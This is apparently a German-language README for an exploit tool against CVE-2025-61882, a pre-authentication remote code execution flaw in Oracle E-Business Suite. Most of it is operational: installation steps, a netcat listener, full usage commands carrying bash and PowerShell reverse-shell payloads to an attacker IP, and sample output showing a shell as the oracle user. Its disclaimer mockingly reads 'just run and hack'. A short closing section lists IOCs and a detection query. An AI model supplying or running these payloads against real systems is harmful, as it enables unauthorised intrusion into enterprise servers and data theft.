
Exploit für CVE-2025-61882, eine kritische Pre-Auth RCE in Oracle E-Business Suite. Kombiniert SSRF, CRLF-Injection, HTTP-Schmuggel und XSLT-Injection für unauthentifizierte Remote-Codeausführung.
Technische Details in unserem Blogbeitrag
DIESES WERKZEUG IST AUSSCHLIESSLICH FÜR AUTORISIERTE SICHERHEITSTESTS BESTIMMT
╔══════════════════════════════════════════════════════════════╗
║ ║
║ 🚨 UNBERECHTIGTER ZUGRIFF AUF COMPUTERSYSTEME IST ILLEGAL 🚨 ║
║ ║
║ Durch die Nutzung dieses Werkzeugs erkennen Sie an und ║
║ stimmen zu, dass: ║
║ ║
║ ║
║ FCK THIS JUST RUN AND HACK ║
║ ║
║ ║
║ ║
║ ║
║ ║
╚══════════════════════════════════════════════════════════════╝
Sicherheitstest-Tool für CVE-2025-61882, eine kritische Pre-Authentifizierung-Remote-Code-Ausführungsschwachstelle, die Oracle E-Business Suite betrifft.
Erstellt von: Mindflare
CVE-2025-61882 ist eine ausgeklügelte Exploit-Kette, die fünf verschiedene Schwachstellen kombiniert:
/OA_HTML/configurator/UiServletreturn_url-Parameter/OA_HTML/help/../-Präfix# Repository klonen
git clone https://github.com/[IHR-BENUTZERNAME]/CVE-2025-61882-POC
cd CVE-2025-61882-POC
# Abhängigkeiten installieren
pip3 install -r requirements.txt
# Skript ausführbar machen (Linux/Mac)
chmod +x cve-2025-61882-detector.py
Starten Sie in einem separaten Terminal einen Netcat-Listener:
# Linux/Mac
nc -lvnp 4444
# Windows
nc.exe -lvnp 4444
Grundlegende Verwendung (Linux-Ziel):
python3 cve-2025-61882-detector.py \
--target http://192.168.1.22:8000 \
--lhost 192.168.1.10 \
--lport 80 \
--command 'bash -i >& /dev/tcp/192.168.1.10/4444 0>&1' \
--platform linux
Windows-Ziel:
python3 cve-2025-61882-detector.py \
--target http://192.168.1.22:8000 \
--lhost 192.168.1.10 \
--lport 80 \
--command 'powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient(\"192.168.1.10\",4444)"' \
--platform windows
| Parameter | Beschreibung | Erforderlich | Beispiel |
|---|---|---|---|
--target | Ziel-URL der Oracle EBS | Ja | http://192.168.1.22:8000 |
--lhost | Ihre IP-Adresse (für Rückrufe) | Ja | 192.168.1.10 |
--lport | HTTP-Server-Port (stellt XSL-Payload bereit) | Ja | 80 oder 8080 |
--command | Auszuführender Befehl auf dem Ziel | Ja | Siehe Beispiele oben |
--platform | Ziel-Betriebssystem: linux oder windows | Ja | linux |
[*] Target URL: http://192.168.1.22:8000
[*] Listener IP: 192.168.1.10
[*] Listener Port: 80
[*] Platform: linux
[*] HTTP server started on 192.168.1.10:80
[*] Connecting to target to retrieve CSRF token...
[*] CSRF TOKEN: WLDW-GNFH-MB4K-76EA-JB48-VY3X-L30R-NZT0
[*] Cooking HTTP smuggle stub...
[*] Sending exploit payload...
[*] Exploit payload sent successfully
[+] 192.168.1.22 - GET /OA_HTML/help/../ieshostedsurvey.xsl HTTP/1.1
[+] XSL payload served successfully
ubuntu@attacker:~$ nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on 192.168.1.22 30290
bash: no job control in this shell
[oracle@apps EBS_domain]$ id
uid=54321(oracle) gid=54321(oinstall) groups=54321(oinstall)
[oracle@apps EBS_domain]$
SELECT * FROM XDO_TEMPLATES_B
WHERE TEMPLATE_CODE LIKE 'TMP%' OR TEMPLATE_CODE LIKE 'DEF%';
Netzwerk-IOCs:
200.107.207.26 (Cl0p C2)
161.97.99.49 (Sekundär)
HTTP-Muster:
POST /OA_HTML/configurator/UiServletPOST /OA_HTML/SyncServletGET /OA_HTML/help/../*.jspMIT-Lizenz mit Einschränkungen für Bildungszwecke – Siehe LIZENZ
HAFTUNGSAUSSCHLUSS: Diese Software ist nur für autorisierte Sicherheitstests bestimmt. Unbefugter Zugriff auf Computersysteme ist illegal. Der Autor übernimmt keine Haftung für Missbrauch.
**Erstellt von:** Mindflare | **Zuletzt aktualisiert:** Oktober 2025